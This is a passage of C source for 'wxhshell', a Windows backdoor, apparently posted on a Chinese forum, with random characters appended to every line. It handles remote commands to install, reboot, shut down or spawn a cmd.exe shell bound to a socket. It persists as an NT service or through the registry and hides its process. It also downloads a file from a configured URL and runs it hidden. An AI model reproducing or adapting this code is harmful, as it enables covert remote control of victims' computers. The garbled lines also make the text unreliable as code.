  // 帮助 $;j{?dvm.  
  case '?': { TTo5"r9I 8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ip}f4K  
    break; TchByN6oN<  
  } |qtZb}"|  
  // 安装 J+YoAf`hi  
  case 'i': { D3x W?$Z  
    if(Install()) GoPK. E$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 5I a  
    else G,XUMZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %[fZ@!B  
    break; ?A~a}bFZ  
    } gk4DoOj#P  
  // 卸载 .}3K9.hkr  
  case 'r': { z/|tsVK  
    if(Uninstall()) >C -N0H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kV$VKag*A  
    else ^o Q^/v~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *[tLwl.  
    break; Q=#Wk$1.  
    } *zWf8X  
  // 显示 wxhshell 所在路径 j4E`O%@^  
  case 'p': { #XeabcOQ  
    char svExeFile[MAX_PATH]; x_#'6H\1ga  
    strcpy(svExeFile,"\n\r"); bOK0^$k  
      strcat(svExeFile,ExeFile); 5/i]Jni  
        send(wsh,svExeFile,strlen(svExeFile),0); .>@]Im  
    break; xi=Qxgx0I  
    } Env_??xq  
  // 重启 i 8:^1rHp)  
  case 'b': { @<B$LJ|jdG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &\<?7Qj3U|  
    if(Boot(REBOOT)) jWh}cM=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<_:%oB  
    else { wg|/-q-  
    closesocket(wsh); WR}<^a x  
    ExitThread(0); sF1j4 NC  
    } 4?l:.\fB:  
    break; XvkFP'%i/  
    } K b z|h,<  
  // 关机 xN44>3#  
  case 'd': { 77;|PKE /  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `,)%<}  
    if(Boot(SHUTDOWN)) M$2lK^2L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @T~~aQFk  
    else { 2,G9~<t  
    closesocket(wsh); 'Jl73#3  
    ExitThread(0); t#=FFQOt  
    } z_L><}H  
    break; B{cb'\ C  
    } cB}6{c$_sW  
  // 获取shell H`NT`BE  
  case 's': { Vn6]h|vm  
    CmdShell(wsh); !p(N DQm  
    closesocket(wsh); Ky)*6QOw  
    ExitThread(0); iTJE:[W"y  
    break; vS G vv43G  
  } S0tPnwco[~  
  // 退出  B q7Qbj  
  case 'x': { _[ S<Cb*1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AI2@VvB  
    CloseIt(wsh); Kl w9  
    break;  +D|E8sz8  
    } 6G<gA>V  
  // 离开 "M=1Eb$6=  
  case 'q': { n<Z1i)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {'[S.r`  
    closesocket(wsh); fk(h*L|sI  
    WSACleanup(); YFs!,fw'  
    exit(1); VZr AZV^c  
    break; WS 1#i\0  
        } C7_#D O6"  
  } 8o!LgT5  
  } "%K[kA6  
FuFA/R=x/  
  // 提示信息 *hkNJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zl@hg<n  
} "[\),7&03  
  } I=K|1  
U].3vju`c  
  return; oPR?Ar  
} SJ8|~,vL  
'SnB7Y  
// shell模块句柄 p=] z`t  
int CmdShell(SOCKET sock) swG!O}29OX  
{ 2q%vd =T  
STARTUPINFO si; ;<nQl,2N  
ZeroMemory(&si,sizeof(si)); dR >hb*k J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yIma7H@=L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S3> <zGYk  
PROCESS_INFORMATION ProcessInfo; $;B0x  
char cmdline[]="cmd"; !s(s^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Culf'iX  
  return 0; JG=z~STz  
} {[[/*1r|  
9u] "($  
// 自身启动模式 Oq*=oz^~1  
int StartFromService(void) T#-U\C~o  
{ E<L6/rG  
typedef struct 3}2a3)  
{ %q_b\K  
  DWORD ExitStatus; qp55U*  
  DWORD PebBaseAddress; 6Wc'5t3  
  DWORD AffinityMask; ~a` vk@8  
  DWORD BasePriority; 4>t=r\"4  
  ULONG UniqueProcessId; HHg[6aw  
  ULONG InheritedFromUniqueProcessId; ?7R&=B1g  
}   PROCESS_BASIC_INFORMATION; `6 ?.ihV  
jQ9i<-zc  
PROCNTQSIP NtQueryInformationProcess; e\' =#Hw  
,w0Io   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lW3wmSWn%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6:qh%ZR  
U$ 22r b  
  HANDLE             hProcess; tqicyNL  
  PROCESS_BASIC_INFORMATION pbi; 7q'T,'[  
_4~q&? }V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C vWt  
  if(NULL == hInst ) return 0; 0p1~!X=I  
Fps:6~gD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i[m-&   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yf2$HF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p+; La  
}<g- 0&GLm  
  if (!NtQueryInformationProcess) return 0; |!"qz$8fB  
@]X5g8h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W,ik ;P\  
  if(!hProcess) return 0; 9\KMU@Ne  
`nEe-w^9)I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |ZJ<N\\h-  
?qR11A};tG  
  CloseHandle(hProcess); 'uU{.bq  
_ e94  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 41NVF_R6J  
if(hProcess==NULL) return 0; %mMPALN]{  
:V^|}C#  
HMODULE hMod; B),Z*lpC  
char procName[255]; {x<yDDIv_  
unsigned long cbNeeded; 0:q R,NW^#  
Z$:iq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wd]MwDcO  
*1CZRfWI  
  CloseHandle(hProcess); q1vsvL9Q  
>!%F$$  
if(strstr(procName,"services")) return 1; // 以服务启动 KIYs[0*k  
#Iwxt3K  
  return 0; // 注册表启动 #Hi$squJ  
} Bf{c4YiF  
QV9 z81[  
// 主模块 jRNDi_u?Wb  
int StartWxhshell(LPSTR lpCmdLine) )jHH-=JM  
{ B:=VMX~GE  
  SOCKET wsl; Ff{dOV.i  
BOOL val=TRUE; _"G./X  
  int port=0; U['|t<^uf  
  struct sockaddr_in door; hLF;MH@  
L1YiXJ,T,  
  if(wscfg.ws_autoins) Install(); I"bz6t\~|  
^{l$>e]  
port=atoi(lpCmdLine); 3jDAj!_ea  
*g!7PzJ'  
if(port<=0) port=wscfg.ws_port; !nt[J$.z^  
40Hm+Ge  
  WSADATA data; v5dLjy5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V3q[#.o  
feG#*m2g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C] >?YR4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %#iu  
  door.sin_family = AF_INET; pT'jX^BU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OO*2>Qy~z  
  door.sin_port = htons(port); p~f=0K  
^F:Bj&0v[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k`h#.B J  
closesocket(wsl); ^!sIEL  
return 1; +S ],){  
}  95l)w  
gt)wk93d>  
  if(listen(wsl,2) == INVALID_SOCKET) { ^b^}6L'Z  
closesocket(wsl); ]1&} L^a  
return 1; 9N V.<&~  
} p d(W(-`8!  
  Wxhshell(wsl); oxXCf%!  
  WSACleanup(); $c}-/U 8  
#8@o%%F d  
return 0; 2+cpNk$  
a<CACWsN.T  
} R/Z zmb{  
d34BJ<  
// 以NT服务方式启动 HMqR%A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^wxpinJ>  
{ V?&P).5)  
DWORD   status = 0; g[$4a4X  
  DWORD   specificError = 0xfffffff; 3H ,?ZFFGz  
J/B`c(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )>I-j$%=2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R(p3* t&n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W(\ ^6S)  
  serviceStatus.dwWin32ExitCode     = 0; O#?@' 1  
  serviceStatus.dwServiceSpecificExitCode = 0; 1"UHe*2  
  serviceStatus.dwCheckPoint       = 0; 9A ?)n<3d  
  serviceStatus.dwWaitHint       = 0; AH?4F"  
+l<l3uBNS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BV=~ !tsl  
  if (hServiceStatusHandle==0) return; 'b:e8m  
P$5K[Y4f  
status = GetLastError(); VMH^jCFp  
  if (status!=NO_ERROR) 20cEE>  
{ .JX9(#Uk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D hD^w;f]  
    serviceStatus.dwCheckPoint       = 0; D";@)\jN  
    serviceStatus.dwWaitHint       = 0; ^]MLEr!S  
    serviceStatus.dwWin32ExitCode     = status; ~DP_1V?  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZY=a[K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aKz:hG  
    return; y3OF+;E  
  } vp(ow]Q  
Ticx]_+~T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bW^C30m  
  serviceStatus.dwCheckPoint       = 0; Fs&r ^ [/b  
  serviceStatus.dwWaitHint       = 0; t^~Qv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XeX` h_  
} d r$E:kr  
o>\o=%D.a  
// 处理NT服务事件,比如:启动、停止 pD;fFLvN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :f~qt%%/  
{ }/2M?W0  
switch(fdwControl) (9Q@I8}Iy  
{ %"^8$A?>,k  
case SERVICE_CONTROL_STOP: e%C_>  
  serviceStatus.dwWin32ExitCode = 0; $[\\{XJ.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nXw98;  
  serviceStatus.dwCheckPoint   = 0; ||4T*B06  
  serviceStatus.dwWaitHint     = 0; }CL7h;5N 3  
  { oS^KC}X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qKTzigjj  
  } F}?4h Dt  
  return; n j2=}6  
case SERVICE_CONTROL_PAUSE: -ARks_\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i!)\m0Wm  
  break; oI-,6G}  
case SERVICE_CONTROL_CONTINUE: **JBZ\'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sO{TGk]*  
  break; f$ 7C 5  
case SERVICE_CONTROL_INTERROGATE: qHn X)  
  break; <iB5&  
}; wSi$.C2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Wr$5r  
} )+|Y;zC9  
QD%!a{I  
// 标准应用程序主函数 J4u>77I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [0vqm:P  
{ IKV!0-={!z  
0o!mlaU#  
// 获取操作系统版本 }=Ul8 <  
OsIsNt=GetOsVer(); 9BAvE\o0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d/!\iLF  
mM:%-I\$   
  // 从命令行安装 -e"A)Bpl(  
  if(strpbrk(lpCmdLine,"iI")) Install(); :kFPPx?  
OrwVRqW-z  
  // 下载执行文件 nc6PSj X  
if(wscfg.ws_downexe) { N'i)s{'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [iZH[7&j  
  WinExec(wscfg.ws_filenam,SW_HIDE); DL uaM?7  
} dz!m8D0  
zl( o/n  
if(!OsIsNt) { {@6:kkd  
// 如果时win9x,隐藏进程并且设置为注册表启动 sNM ]bei  
HideProc(); ~d\^ynQ  
StartWxhshell(lpCmdLine); t YxN^VqU  
} O_]hbXV0  
else Ec@cW6g(%  
  if(StartFromService()) &gKDw!al  
  // 以服务方式启动 qw1W }+~g  
  StartServiceCtrlDispatcher(DispatchTable); X9ZHYlr+Q  
else tQas_K5  
  // 普通方式启动 KWojMPs  
  StartWxhshell(lpCmdLine); RLZfXXMn  
|<'6rJ[i>  
return 0; [>t;P ,  
}
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只看该作者 1 发表于: 2006-10-10
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